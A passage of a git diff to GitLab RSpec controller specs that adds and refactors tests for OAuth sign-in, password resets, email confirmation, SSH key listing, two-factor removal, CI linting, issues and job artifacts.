+ end
+
+ context 'for a new user' do
+ before do
+ stub_omniauth_setting(enabled: true, auto_link_user: true, allow_single_sign_on: ['atlassian_oauth2'])
+
+ user.destroy
+ end
+
+ it 'denies sign-in if sign-up is enabled, but block_auto_created_users is set' do
+ post :atlassian_oauth2
+
+ expect(flash[:alert]).to start_with 'Your account has been blocked.'
+ end
+
+ it 'accepts sign-in if sign-up is enabled' do
+ stub_omniauth_setting(block_auto_created_users: false)
+
+ post :atlassian_oauth2
+
+ expect(request.env['warden']).to be_authenticated
+ end
+
+ it 'denies sign-in if sign-up is not enabled' do
+ stub_omniauth_setting(allow_single_sign_on: false, block_auto_created_users: false)
+
+ post :atlassian_oauth2
+
+ expect(flash[:alert]).to start_with 'Signing in using your Atlassian account without a pre-existing GitLab account is not allowed.'
+ end
+ end
+ end
+
context 'salesforce' do
let(:extern_uid) { 'my-uid' }
let(:provider) { :salesforce }
diff --git a/spec/controllers/passwords_controller_spec.rb b/spec/controllers/passwords_controller_spec.rb
index ba2c0c0455d..e9883107456 100644
--- a/spec/controllers/passwords_controller_spec.rb
+++ b/spec/controllers/passwords_controller_spec.rb
@@ -3,11 +3,13 @@
require 'spec_helper'
RSpec.describe PasswordsController do
- describe '#check_password_authentication_available' do
- before do
- @request.env["devise.mapping"] = Devise.mappings[:user]
- end
+ include DeviseHelpers
+ before do
+ set_devise_mapping(context: @request)
+ end
+
+ describe '#check_password_authentication_available' do
context 'when password authentication is disabled for the web interface and Git' do
it 'prevents a password reset' do
stub_application_setting(password_authentication_enabled_for_web: false)
@@ -30,4 +32,51 @@ RSpec.describe PasswordsController do
end
end
end
+
+ describe '#update' do
+ render_views
+
+ context 'updating the password' do
+ subject do
+ put :update, params: {
+ user: {
+ password: password,
+ password_confirmation: password_confirmation,
+ reset_password_token: reset_password_token
+ }
+ }
+ end
+
+ let(:password) { User.random_password }
+ let(:password_confirmation) { password }
+ let(:reset_password_token) { user.send_reset_password_instructions }
+ let(:user) { create(:user, password_automatically_set: true, password_expires_at: 10.minutes.ago) }
+
+ context 'password update is successful' do
+ it 'updates the password-related flags' do
+ subject
+ user.reload
+
+ expect(response).to redirect_to(new_user_session_path)
+ expect(flash[:notice]).to include('password has been changed successfully')
+ expect(user.password_automatically_set).to eq(false)
+ expect(user.password_expires_at).to be_nil
+ end
+ end
+
+ context 'password update is unsuccessful' do
+ let(:password_confirmation) { 'not_the_same_as_password' }
+
+ it 'does not update the password-related flags' do
+ subject
+ user.reload
+
+ expect(response).to render_template(:edit)
+ expect(response.body).to have_content("Password confirmation doesn't match Password")
+ expect(user.password_automatically_set).to eq(true)
+ expect(user.password_expires_at).not_to be_nil
+ end
+ end
+ end
+ end
end
diff --git a/spec/controllers/profiles/accounts_controller_spec.rb b/spec/controllers/profiles/accounts_controller_spec.rb
index 52a7a1609a1..c6e7866a659 100644
--- a/spec/controllers/profiles/accounts_controller_spec.rb
+++ b/spec/controllers/profiles/accounts_controller_spec.rb
@@ -45,5 +45,18 @@ RSpec.describe Profiles::AccountsController do
end
end
end
+
+ describe 'atlassian_oauth2 provider' do
+ let(:user) { create(:atlassian_user) }
+
+ it 'allows a user to unlink a connected account' do
+ expect(user.atlassian_identity).not_to be_nil
+
+ delete :unlink, params: { provider: 'atlassian_oauth2' }
+
+ expect(response).to have_gitlab_http_status(:found)
+ expect(user.reload.atlassian_identity).to be_nil
+ end
+ end
end
end
diff --git a/spec/controllers/profiles/emails_controller_spec.rb b/spec/controllers/profiles/emails_controller_spec.rb
index 246f8a6cd76..08552cc28fa 100644
--- a/spec/controllers/profiles/emails_controller_spec.rb
+++ b/spec/controllers/profiles/emails_controller_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe Profiles::EmailsController do
- let(:user) { create(:user) }
+ let_it_be(:user) { create(:user) }
before do
sign_in(user)
@@ -16,36 +16,43 @@ RSpec.describe Profiles::EmailsController do
end
describe '#create' do
- context 'when email address is valid' do
- let(:email_params) { { email: "add_email@example.com" } }
+ let(:email) { 'add_email@example.com' }
+ let(:params) { { email: { email: email } } }
- it 'sends an email confirmation' do
- expect { post(:create, params: { email: email_params }) }.to change { ActionMailer::Base.deliveries.size }
- end
+ subject { post(:create, params: params) }
+
+ it 'sends an email confirmation' do
+ expect { subject }.to change { ActionMailer::Base.deliveries.size }
end
context 'when email address is invalid' do
- let(:email_params) { { email: "test.@example.com" } }
+ let(:email) { 'invalid.@example.com' }
it 'does not send an email confirmation' do
- expect { post(:create, params: { email: email_params }) }.not_to change { ActionMailer::Base.deliveries.size }
+ expect { subject }.not_to change { ActionMailer::Base.deliveries.size }
end
end
end
describe '#resend_confirmation_instructions' do
- let(:email_params) { { email: "add_email@example.com" } }
+ let_it_be(:email) { create(:email, user: user) }
+ let(:params) { { id: email.id } }
+
+ subject { put(:resend_confirmation_instructions, params: params) }
it 'resends an email confirmation' do
- email = user.emails.create(email: 'add_email@example.com')
+ expect { subject }.to change { ActionMailer::Base.deliveries.size }
- expect { put(:resend_confirmation_instructions, params: { id: email }) }.to change { ActionMailer::Base.deliveries.size }
- expect(ActionMailer::Base.deliveries.last.to).to eq [email_params[:email]]
- expect(ActionMailer::Base.deliveries.last.subject).to match "Confirmation instructions"
+ expect(ActionMailer::Base.deliveries.last.to).to eq [email.email]
+ expect(ActionMailer::Base.deliveries.last.subject).to match 'Confirmation instructions'
end
- it 'unable to resend an email confirmation' do
- expect { put(:resend_confirmation_instructions, params: { id: 1 }) }.not_to change { ActionMailer::Base.deliveries.size }
+ context 'email does not exist' do
+ let(:params) { { id: non_existing_record_id } }
+
+ it 'does not send an email confirmation' do
+ expect { subject }.not_to change { ActionMailer::Base.deliveries.size }
+ end
end
end
end
diff --git a/spec/controllers/profiles/keys_controller_spec.rb b/spec/controllers/profiles/keys_controller_spec.rb
index 66f6135df1e..17964ef4a43 100644
--- a/spec/controllers/profiles/keys_controller_spec.rb
+++ b/spec/controllers/profiles/keys_controller_spec.rb
@@ -20,4 +20,108 @@ RSpec.describe Profiles::KeysController do
expect(Key.last.expires_at).to be_like_time(expires_at)
end
end
+
+ describe "#get_keys" do
+ describe "non existent user" do
+ it "does not generally work" do
+ get :get_keys, params: { username: 'not-existent' }
+
+ expect(response).not_to be_successful
+ end
+ end
+
+ describe "user with no keys" do
+ it "does generally work" do
+ get :get_keys, params: { username: user.username }
+
+ expect(response).to be_successful
+ end
+
+ it "renders all keys separated with a new line" do
+ get :get_keys, params: { username: user.username }
+
+ expect(response.body).to eq("")
+ end
+ it "responds with text/plain content type" do
+ get :get_keys, params: { username: user.username }
+ expect(response.content_type).to eq("text/plain")
+ end
+ end
+
+ describe "user with keys" do
+ let!(:key) { create(:key, user: user) }
+ let!(:another_key) { create(:another_key, user: user) }
+ let!(:deploy_key) { create(:deploy_key, user: user) }
+
+ describe "while signed in" do
+ before do
+ sign_in(user)
+ end
+
+ it "does generally work" do
+ get :get_keys, params: { username: user.username }
+
+ expect(response).to be_successful
+ end
+
+ it "renders all non deploy keys separated with a new line" do
+ get :get_keys, params: { username: user.username }
+
+ expect(response.body).not_to eq('')
+ expect(response.body).to eq(user.all_ssh_keys.join("\n"))
+
+ expect(response.body).to include(key.key.sub(' dummy@gitlab.com', ''))
+ expect(response.body).to include(another_key.key.sub(' dummy@gitlab.com', ''))
+
+ expect(response.body).not_to include(deploy_key.key)
+ end
+
+ it "does not render the comment of the key" do
+ get :get_keys, params: { username: user.username }
+ expect(response.body).not_to match(/dummy@gitlab.com/)
+ end
+
+ it "responds with text/plain content type" do
+ get :get_keys, params: { username: user.username }
+
+ expect(response.content_type).to eq("text/plain")
+ end
+ end
+
+ describe 'when logged out' do
+ before do
+ sign_out(user)
+ end
+
+ it "still does generally work" do
+ get :get_keys, params: { username: user.username }
+
+ expect(response).to be_successful
+ end
+
+ it "renders all non deploy keys separated with a new line" do
+ get :get_keys, params: { username: user.username }
+
+ expect(response.body).not_to eq('')
+ expect(response.body).to eq(user.all_ssh_keys.join("\n"))
+
+ expect(response.body).to include(key.key.sub(' dummy@gitlab.com', ''))
+ expect(response.body).to include(another_key.key.sub(' dummy@gitlab.com', ''))
+
+ expect(response.body).not_to include(deploy_key.key)
+ end
+
+ it "does not render the comment of the key" do
+ get :get_keys, params: { username: user.username }
+ expect(response.body).not_to match(/dummy@gitlab.com/)
+ end
+
+ it "responds with text/plain content type" do
+ get :get_keys, params: { username: user.username }
+
+ expect(response.content_type).to eq("text/plain")
+ end
+ end
+ end
+ end
end
diff --git a/spec/controllers/profiles/notifications_controller_spec.rb b/spec/controllers/profiles/notifications_controller_spec.rb
index 40b4c8f0371..90df7cc0991 100644
--- a/spec/controllers/profiles/notifications_controller_spec.rb
+++ b/spec/controllers/profiles/notifications_controller_spec.rb
@@ -37,7 +37,7 @@ RSpec.describe Profiles::NotificationsController do
expect(assigns(:group_notifications).map(&:source_id)).to include(subgroup.id)
end
- it 'has an N+1 (but should not)' do
+ it 'does not have an N+1' do
sign_in(user)
control = ActiveRecord::QueryRecorder.new do
@@ -46,10 +46,42 @@ RSpec.describe Profiles::NotificationsController do
create_list(:group, 2, parent: group)
- # We currently have an N + 1, switch to `not_to` once fixed
expect do
get :show
- end.to exceed_query_limit(control)
+ end.not_to exceed_query_limit(control)
+ end
+ end
+
+ context 'with group notifications' do
+ let(:notifications_per_page) { 5 }
+
+ let_it_be(:group) { create(:group) }
+ let_it_be(:subgroups) { create_list(:group, 10, parent: group) }
+
+ before do
+ group.add_developer(user)
+ sign_in(user)
+ allow(Kaminari.config).to receive(:default_per_page).and_return(notifications_per_page)
+ end
+
+ it 'paginates the groups' do
+ get :show
+
+ expect(assigns(:group_notifications).count).to eq(5)
+ end
+
+ context 'when the user is not a member' do
+ let(:notifications_per_page) { 20 }
+
+ let_it_be(:public_group) { create(:group, :public) }
+
+ it 'does not show public groups', :aggregate_failures do
+ get :show
+
+ # Let's make sure we're grabbing all groups in one page, just in case
+ expect(assigns(:user_groups).count).to eq(11)
+ expect(assigns(:user_groups)).not_to include(public_group)
+ end
end
end
diff --git a/spec/controllers/profiles/two_factor_auths_controller_spec.rb b/spec/controllers/profiles/two_factor_auths_controller_spec.rb
index 1fb0b18622b..59eb33f4bc6 100644
--- a/spec/controllers/profiles/two_factor_auths_controller_spec.rb
+++ b/spec/controllers/profiles/two_factor_auths_controller_spec.rb
@@ -120,18 +120,46 @@ RSpec.describe Profiles::TwoFactorAuthsController do
end
describe 'DELETE destroy' do
- let(:user) { create(:user, :two_factor) }
+ subject { delete :destroy }
+
+ context 'for a user that has 2FA enabled' do
+ let(:user) { create(:user, :two_factor) }
+
+ it 'disables two factor' do
+ subject
+
+ expect(user.reload.two_factor_enabled?).to eq(false)
+ end
+
+ it 'redirects to profile_account_path' do
+ subject
+
+ expect(response).to redirect_to(profile_account_path)
+ end
- it 'disables two factor' do
- expect(user).to receive(:disable_two_factor!)
+ it 'displays a notice on success' do
+ subject
- delete :destroy
+ expect(flash[:notice])
+ .to eq _('Two-factor authentication has been disabled successfully!')
+ end
end
- it 'redirects to profile_account_path' do
- delete :destroy
+ context 'for a user that does not have 2FA enabled' do
+ let(:user) { create(:user) }
- expect(response).to redirect_to(profile_account_path)
+ it 'redirects to profile_account_path' do
+ subject
+
+ expect(response).to redirect_to(profile_account_path)
+ end
+
+ it 'displays an alert on failure' do
+ subject
+
+ expect(flash[:alert])
+ .to eq _('Two-factor authentication is not enabled for this user')
+ end
end
end
end
diff --git a/spec/controllers/profiles/webauthn_registrations_controller_spec.rb b/spec/controllers/profiles/webauthn_registrations_controller_spec.rb
new file mode 100644
index 00000000000..0c475039963
--- /dev/null
+++ b/spec/controllers/profiles/webauthn_registrations_controller_spec.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Profiles::WebauthnRegistrationsController do
+ let(:user) { create(:user, :two_factor_via_webauthn) }
+
+ before do
+ sign_in(user)
+ end
+
+ describe '#destroy' do
+ it 'deletes the given webauthn registration' do
+ registration_to_delete = user.webauthn_registrations.first
+
+ expect { delete :destroy, params: { id: registration_to_delete.id } }.to change { user.webauthn_registrations.count }.by(-1)
+ expect(response).to be_redirect
+ end
+ end
+end
diff --git a/spec/controllers/projects/badges_controller_spec.rb b/spec/controllers/projects/badges_controller_spec.rb
index 7e7a630921f..242b2fd3ec6 100644
--- a/spec/controllers/projects/badges_controller_spec.rb
+++ b/spec/controllers/projects/badges_controller_spec.rb
@@ -3,9 +3,9 @@
require 'spec_helper'
RSpec.describe Projects::BadgesController do
- let(:project) { pipeline.project }
- let!(:pipeline) { create(:ci_empty_pipeline) }
- let(:user) { create(:user) }
+ let_it_be(:project, reload: true) { create(:project, :repository) }
+ let_it_be(:pipeline, reload: true) { create(:ci_empty_pipeline, project: project) }
+ let_it_be(:user) { create(:user) }
shared_examples 'a badge resource' do |badge_type|
context 'when pipelines are public' do
@@ -137,6 +137,26 @@ RSpec.describe Projects::BadgesController do
describe '#pipeline' do
it_behaves_like 'a badge resource', :pipeline
+
+ context 'with ignore_skipped param' do
+ render_views
+
+ before do
+ pipeline.update!(status: :skipped)
+ project.add_maintainer(user)
+ sign_in(user)
+ end
+
+ it 'returns skipped badge if set to false' do
+ get_badge(:pipeline, ignore_skipped: false)
+ expect(response.body).to include('skipped')
+ end
+
+ it 'does not return skipped badge if set to true' do
+ get_badge(:pipeline, ignore_skipped: true)
+ expect(response.body).to include('unknown')
+ end
+ end
end
describe '#coverage' do
@@ -148,7 +168,7 @@ RSpec.describe Projects::BadgesController do
namespace_id: project.namespace.to_param,
project_id: project,
ref: pipeline.ref
- }.merge(args.slice(:style, :key_text, :key_width))
+ }.merge(args.slice(:style, :key_text, :key_width, :ignore_skipped))
get badge, params: params, format: :svg
end
diff --git a/spec/controllers/projects/blob_controller_spec.rb b/spec/controllers/projects/blob_controller_spec.rb
index 9fee97f938c..b998dee09b2 100644
--- a/spec/controllers/projects/blob_controller_spec.rb
+++ b/spec/controllers/projects/blob_controller_spec.rb
@@ -347,6 +347,13 @@ RSpec.describe Projects::BlobController do
end
end
end
+
+ it_behaves_like 'tracking unique hll events', :track_editor_edit_actions do
+ subject { put :update, params: default_params, format: format }
+
+ let(:target_id) { 'g_edit_by_sfe' }
+ let(:expected_type) { instance_of(Integer) }
+ end
end
describe 'DELETE destroy' do
@@ -436,4 +443,32 @@ RSpec.describe Projects::BlobController do
end
end
end
+
+ describe 'POST create' do
+ let(:user) { create(:user) }
+ let(:default_params) do
+ {
+ namespace_id: project.namespace,
+ project_id: project,
+ id: 'master',
+ branch_name: 'master',
+ file_name: 'docs/EXAMPLE_FILE',
+ content: 'Added changes',
+ commit_message: 'Create CHANGELOG'
+ }
+ end
+
+ before do
+ project.add_developer(user)
+
+ sign_in(user)
+ end
+
+ it_behaves_like 'tracking unique hll events', :track_editor_edit_actions do
+ subject { post :create, params: default_params, format: format }
+
+ let(:target_id) { 'g_edit_by_sfe' }
+ let(:expected_type) { instance_of(Integer) }
+ end
+ end
end
diff --git a/spec/controllers/projects/ci/lints_controller_spec.rb b/spec/controllers/projects/ci/lints_controller_spec.rb
index b3e08292546..22f052e39b7 100644
--- a/spec/controllers/projects/ci/lints_controller_spec.rb
+++ b/spec/controllers/projects/ci/lints_controller_spec.rb
@@ -5,8 +5,8 @@ require 'spec_helper'
RSpec.describe Projects::Ci::LintsController do
include StubRequests
- let(:project) { create(:project, :repository) }
- let(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { create(:user) }
before do
sign_in(user)
@@ -20,7 +20,7 @@ RSpec.describe Projects::Ci::LintsController do
get :show, params: { namespace_id: project.namespace, project_id: project }
end
- it { expect(response).to be_successful }
+ it { expect(response).to have_gitlab_http_status(:ok) }
it 'renders show page' do
expect(response).to render_template :show
@@ -47,7 +47,8 @@ RSpec.describe Projects::Ci::LintsController do
describe 'POST #create' do
subject { post :create, params: params }
- let(:params) { { namespace_id: project.namespace, project_id: project, content: content } }
+ let(:format) { :html }
+ let(:params) { { namespace_id: project.namespace, project_id: project, content: content, format: format } }
let(:remote_file_path) { 'https://gitlab.com/gitlab-org/gitlab-foss/blob/1234/.gitlab-ci-1.yml' }
let(:remote_file_content) do
@@ -71,6 +72,20 @@ RSpec.describe Projects::Ci::LintsController do
HEREDOC
end
+ shared_examples 'successful request with format json' do
+ context 'with format json' do
+ let(:format) { :json }
+ let(:parsed_body) { Gitlab::Json.parse(response.body) }
+
+ it 'renders json' do
+ expect(response).to have_gitlab_http_status :ok
+ expect(response.content_type).to eq 'application/json'
+ expect(parsed_body).to include('errors', 'warnings', 'jobs', 'valid')
+ expect(parsed_body).to match_schema('entities/lint_result_entity')
+ end
+ end
+ end
+
context 'with a valid gitlab-ci.yml' do
before do
stub_full_request(remote_file_path).to_return(body: remote_file_content)
@@ -78,27 +93,30 @@ RSpec.describe Projects::Ci::LintsController do
end
shared_examples 'returns a successful validation' do
- it 'returns successfully' do
+ before do
subject
- expect(response).to be_successful
end
- it 'render show page' do
- subject
+ it 'returns successfully' do
+ expect(response).to have_gitlab_http_status :ok
+ end
+
+ it 'renders show page' do
expect(response).to render_template :show
end
it 'retrieves project' do
- subject
expect(assigns(:project)).to eq(project)
end
+
+ it_behaves_like 'successful request with format json'
end
context 'using legacy validation (YamlProcessor)' do
it_behaves_like 'returns a successful validation'
it 'runs validations through YamlProcessor' do
- expect(Gitlab::Ci::YamlProcessor).to receive(:new_with_validation_errors).and_call_original
+ expect(Gitlab::Ci::YamlProcessor).to receive(:new).and_call_original
subject
end
@@ -126,7 +144,7 @@ RSpec.describe Projects::Ci::LintsController do
it_behaves_like 'returns a successful validation'
it 'runs validations through YamlProcessor' do
- expect(Gitlab::Ci::YamlProcessor).to receive(:new_with_validation_errors).and_call_original
+ expect(Gitlab::Ci::YamlProcessor).to receive(:new).and_call_original
subject
end
@@ -145,22 +163,30 @@ RSpec.describe Projects::Ci::LintsController do
before do
project.add_developer(user)
+ subject
end
- it 'assigns errors' do
- subject
+ it 'assigns result with errors' do
+ expect(assigns[:result].errors).to match_array([
+ 'jobs rubocop config should implement a script: or a trigger: keyword',
+ 'jobs config should contain at least one visible job'
+ ])
+ end
- expect(assigns[:errors]).to eq(['root config contains unknown keys: rubocop'])
+ it 'render show page' do
+ expect(response).to render_template :show
end
+ it_behaves_like 'successful request with format json'
+
context 'with dry_run mode' do
subject { post :create, params: params.merge(dry_run: 'true') }
- it 'assigns errors' do
- subject
-
- expect(assigns[:errors]).to eq(['root config contains unknown keys: rubocop'])
+ it 'assigns result with errors' do
+ expect(assigns[:result].errors).to eq(['jobs rubocop config should implement a script: or a trigger: keyword'])
end
+
+ it_behaves_like 'successful request with format json'
end
end
@@ -174,6 +200,14 @@ RSpec.describe Projects::Ci::LintsController do
it 'responds with 404' do
expect(response).to have_gitlab_http_status(:not_found)
end
+
+ context 'with format json' do
+ let(:format) { :json }
+
+ it 'responds with 404' do
+ expect(response).to have_gitlab_http_status :not_found
+ end
+ end
end
end
end
diff --git a/spec/controllers/projects/graphs_controller_spec.rb b/spec/controllers/projects/graphs_controller_spec.rb
index 49def8f80b0..be89fa0d361 100644
--- a/spec/controllers/projects/graphs_controller_spec.rb
+++ b/spec/controllers/projects/graphs_controller_spec.rb
@@ -44,7 +44,7 @@ RSpec.describe Projects::GraphsController do
context 'when anonymous users can read build report results' do
it 'sets the daily coverage options' do
- Timecop.freeze do
+ freeze_time do
get(:charts, params: { namespace_id: project.namespace.path, project_id: project.path, id: 'master' })
expect(assigns[:daily_coverage_options]).to eq(
diff --git a/spec/controllers/projects/issue_links_controller_spec.rb b/spec/controllers/projects/issue_links_controller_spec.rb
new file mode 100644
index 00000000000..bce109b7c79
--- /dev/null
+++ b/spec/controllers/projects/issue_links_controller_spec.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Projects::IssueLinksController do
+ let_it_be(:namespace) { create(:group, :public) }
+ let_it_be(:project) { create(:project, :public, namespace: namespace) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:issue1) { create(:issue, project: project) }
+ let_it_be(:issue2) { create(:issue, project: project) }
+
+ describe 'GET #index' do
+ let_it_be(:issue_link) { create(:issue_link, source: issue1, target: issue2, link_type: 'relates_to') }
+
+ def get_link(user, issue)
+ sign_in(user)
+
+ params = {
+ namespace_id: issue.project.namespace.to_param,
+ project_id: issue.project,
+ issue_id: issue.iid
+ }
+
+ get :index, params: params, as: :json
+ end
+
+ before do
+ project.add_developer(user)
+ end
+
+ it 'returns success response' do
+ get_link(user, issue1)
+
+ expect(response).to have_gitlab_http_status(:ok)
+
+ link = json_response.first
+ expect(link['id']).to eq(issue2.id)
+ expect(link['link_type']).to eq('relates_to')
+ end
+ end
+
+ describe 'POST #create' do
+ def create_link(user, issue, target)
+ sign_in(user)
+
+ post_params = {
+ namespace_id: issue.project.namespace.to_param,
+ project_id: issue.project,
+ issue_id: issue.iid,
+ issuable_references: [target.to_reference],
+ link_type: 'relates_to'
+ }
+
+ post :create, params: post_params, as: :json
+ end
+
+ before do
+ project.add_developer(user)
+ end
+
+ it 'returns success response' do
+ create_link(user, issue1, issue2)
+
+ expect(response).to have_gitlab_http_status(:ok)
+
+ link = json_response['issuables'].first
+ expect(link['id']).to eq(issue2.id)
+ expect(link['link_type']).to eq('relates_to')
+ end
+ end
+end
diff --git a/spec/controllers/projects/issues_controller_spec.rb b/spec/controllers/projects/issues_controller_spec.rb
index a0e478ef368..ed5198bf015 100644
--- a/spec/controllers/projects/issues_controller_spec.rb
+++ b/spec/controllers/projects/issues_controller_spec.rb
@@ -6,9 +6,9 @@ RSpec.describe Projects::IssuesController do
include ProjectForksHelper
include_context 'includes Spam constants'
- let(:project) { create(:project) }
- let(:user) { create(:user) }
- let(:issue) { create(:issue, project: project) }
+ let_it_be(:project, reload: true) { create(:project) }
+ let_it_be(:user, reload: true) { create(:user) }
+ let(:issue) { create(:issue, project: project) }
describe "GET #index" do
context 'external issue tracker' do
@@ -39,8 +39,8 @@ RSpec.describe Projects::IssuesController do
end
context 'when project has moved' do
- let(:new_project) { create(:project) }
- let(:issue) { create(:issue, project: new_project) }
+ let_it_be(:new_project) { create(:project) }
+ let_it_be(:issue) { create(:issue, project: new_project) }
before do
project.route.destroy
@@ -82,6 +82,16 @@ RSpec.describe Projects::IssuesController do
expect(response).to have_gitlab_http_status(:ok)
end
+ it 'returns only list type issues' do
+ issue = create(:issue, project: project)
+ incident = create(:issue, project: project, issue_type: 'incident')
+ create(:issue, project: project, issue_type: 'test_case')
+
+ get :index, params: { namespace_id: project.namespace, project_id: project }
+
+ expect(assigns(:issues)).to contain_exactly(issue, incident)
+ end
+
it "returns 301 if request path doesn't match project path" do
get :index, params: { namespace_id: project.namespace, project_id: project.path.upcase }
@@ -297,6 +307,7 @@ RSpec.describe Projects::IssuesController do
project.add_developer(developer)
end
+ let_it_be(:issue) { create(:issue, project: project) }
let(:developer) { user }
let(:params) do
{
@@ -401,7 +412,7 @@ RSpec.describe Projects::IssuesController do
end
context 'when moving issue to another private project' do
- let(:another_project) { create(:project, :private) }
+ let_it_be(:another_project) { create(:project, :private) }
context 'when user has access to move issue' do
before do
@@ -438,10 +449,10 @@ RSpec.describe Projects::IssuesController do
end
describe 'PUT #reorder' do
- let(:group) { create(:group, projects: [project]) }
- let!(:issue1) { create(:issue, project: project, relative_position: 10) }
- let!(:issue2) { create(:issue, project: project, relative_position: 20) }
- let!(:issue3) { create(:issue, project: project, relative_position: 30) }
+ let_it_be(:group) { create(:group, projects: [project]) }
+ let_it_be(:issue1) { create(:issue, project: project, relative_position: 10) }
+ let_it_be(:issue2) { create(:issue, project: project, relative_position: 20) }
+ let_it_be(:issue3) { create(:issue, project: project, relative_position: 30) }
before do
sign_in(user)
@@ -657,15 +668,15 @@ RSpec.describe Projects::IssuesController do
end
describe 'Confidential Issues' do
- let(:project) { create(:project_empty_repo, :public) }
- let(:assignee) { create(:assignee) }
- let(:author) { create(:user) }
- let(:non_member) { create(:user) }
- let(:member) { create(:user) }
- let(:admin) { create(:admin) }
- let!(:issue) { create(:issue, project: project) }
- let!(:unescaped_parameter_value) { create(:issue, :confidential, project: project, author: author) }
- let!(:request_forgery_timing_attack) { create(:issue, :confidential, project: project, assignees: [assignee]) }
+ let_it_be(:project) { create(:project_empty_repo, :public) }
+ let_it_be(:assignee) { create(:assignee) }
+ let_it_be(:author) { create(:user) }
+ let_it_be(:non_member) { create(:user) }
+ let_it_be(:member) { create(:user) }
+ let_it_be(:admin) { create(:admin) }
+ let_it_be(:issue) { create(:issue, project: project) }
+ let_it_be(:unescaped_parameter_value) { create(:issue, :confidential, project: project, author: author) }
+ let_it_be(:request_forgery_timing_attack) { create(:issue, :confidential, project: project, assignees: [assignee]) }
describe 'GET #index' do
it 'does not list confidential issues for guests' do
@@ -1010,6 +1021,25 @@ RSpec.describe Projects::IssuesController do
end
end
end
+
+ it 'logs the view with Gitlab::Search::RecentIssues' do
+ sign_in(user)
+ recent_issues_double = instance_double(::Gitlab::Search::RecentIssues, log_view: nil)
+ expect(::Gitlab::Search::RecentIssues).to receive(:new).with(user: user).and_return(recent_issues_double)
+
+ go(id: issue.to_param)
+
+ expect(response).to be_successful
+ expect(recent_issues_double).to have_received(:log_view).with(issue)
+ end
+
+ context 'when not logged in' do
+ it 'does not log the view with Gitlab::Search::RecentIssues' do
+ expect(::Gitlab::Search::RecentIssues).not_to receive(:new)
+
+ go(id: issue.to_param)
+ end
+ end
end
describe 'GET #realtime_changes' do
@@ -1077,7 +1107,7 @@ RSpec.describe Projects::IssuesController do
end
context 'resolving discussions in MergeRequest' do
- let(:discussion) { create(:diff_note_on_merge_request).to_discussion }
+ let_it_be(:discussion) { create(:diff_note_on_merge_request).to_discussion }
let(:merge_request) { discussion.noteable }
let(:project) { merge_request.source_project }
@@ -1376,9 +1406,9 @@ RSpec.describe Projects::IssuesController do
end
context "when the user is owner" do
- let(:owner) { create(:user) }
- let(:namespace) { create(:namespace, owner: owner) }
- let(:project) { create(:project, namespace: namespace) }
+ let_it_be(:owner) { create(:user) }
+ let_it_be(:namespace) { create(:namespace, owner: owner) }
+ let_it_be(:project) { create(:project, namespace: namespace) }
before do
sign_in(owner)
@@ -1461,7 +1491,8 @@ RSpec.describe Projects::IssuesController do
describe 'POST create_merge_request' do
let(:target_project_id) { nil }
- let(:project) { create(:project, :repository, :public) }
+
+ let_it_be(:project) { create(:project, :repository, :public) }
before do
project.add_developer(user)
@@ -1539,7 +1570,7 @@ RSpec.describe Projects::IssuesController do
end
describe 'POST #import_csv' do
- let(:project) { create(:project, :public) }
+ let_it_be(:project) { create(:project, :public) }
let(:file) { fixture_file_upload('spec/fixtures/csv_comma.csv') }
context 'unauthorized' do
@@ -1621,7 +1652,7 @@ RSpec.describe Projects::IssuesController do
end
context 'when not logged in' do
- let(:project) { create(:project_empty_repo, :public) }
+ let(:empty_project) { create(:project_empty_repo, :public) }
it 'redirects to the sign in page' do
request_csv
@@ -1738,7 +1769,7 @@ RSpec.describe Projects::IssuesController do
end
context 'with cross-reference system note', :request_store do
- let(:new_issue) { create(:issue) }
+ let_it_be(:new_issue) { create(:issue) }
let(:cross_reference) { "mentioned in #{new_issue.to_reference(issue.project)}" }
before do
@@ -1836,7 +1867,7 @@ RSpec.describe Projects::IssuesController do
end
context 'private project with token authentication' do
- let(:private_project) { create(:project, :private) }
+ let_it_be(:private_project) { create(:project, :private) }
it_behaves_like 'authenticates sessionless user', :index, :atom, ignore_incrementing: true do
before do
@@ -1856,7 +1887,7 @@ RSpec.describe Projects::IssuesController do
end
context 'public project with token authentication' do
- let(:public_project) { create(:project, :public) }
+ let_it_be(:public_project) { create(:project, :public) }
it_behaves_like 'authenticates sessionless user', :index, :atom, public: true do
before do
diff --git a/spec/controllers/projects/jobs_controller_spec.rb b/spec/controllers/projects/jobs_controller_spec.rb
index 818b1c30b37..94cce1964ca 100644
--- a/spec/controllers/projects/jobs_controller_spec.rb
+++ b/spec/controllers/projects/jobs_controller_spec.rb
@@ -201,33 +201,61 @@ RSpec.describe Projects::JobsController, :clean_gitlab_redis_shared_state do
end
context 'when job has artifacts' do
- before do
- get_show_json
- end
-
context 'with not expiry date' do
let(:job) { create(:ci_build, :success, :artifacts, pipeline: pipeline) }
it 'exposes needed information' do
+ get_show_json
+
expect(response).to have_gitlab_http_status(:ok)
expect(response).to match_response_schema('job/job_details')
expect(json_response['artifact']['download_path']).to match(%r{artifacts/download})
expect(json_response['artifact']['browse_path']).to match(%r{artifacts/browse})
+ expect(json_response['artifact']).not_to have_key('keep_path')
expect(json_response['artifact']).not_to have_key('expired')
expect(json_response['artifact']).not_to have_key('expired_at')
end
end
- context 'with expiry date' do
+ context 'with expired artifacts' do
let(:job) { create(:ci_build, :success, :artifacts, :expired, pipeline: pipeline) }
- it 'exposes needed information' do
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to match_response_schema('job/job_details')
- expect(json_response['artifact']).not_to have_key('download_path')
- expect(json_response['artifact']).not_to have_key('browse_path')
- expect(json_response['artifact']['expired']).to eq(true)
- expect(json_response['artifact']['expire_at']).not_to be_empty
+ context 'when artifacts are unlocked' do
+ before do
+ job.pipeline.unlocked!
+ end
+
+ it 'exposes needed information' do
+ get_show_json
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to match_response_schema('job/job_details')
+ expect(json_response['artifact']).not_to have_key('download_path')
+ expect(json_response['artifact']).not_to have_key('browse_path')
+ expect(json_response['artifact']).not_to have_key('keep_path')
+ expect(json_response['artifact']['expired']).to eq(true)
+ expect(json_response['artifact']['expire_at']).not_to be_empty
+ expect(json_response['artifact']['locked']).to eq(false)
+ end
+ end
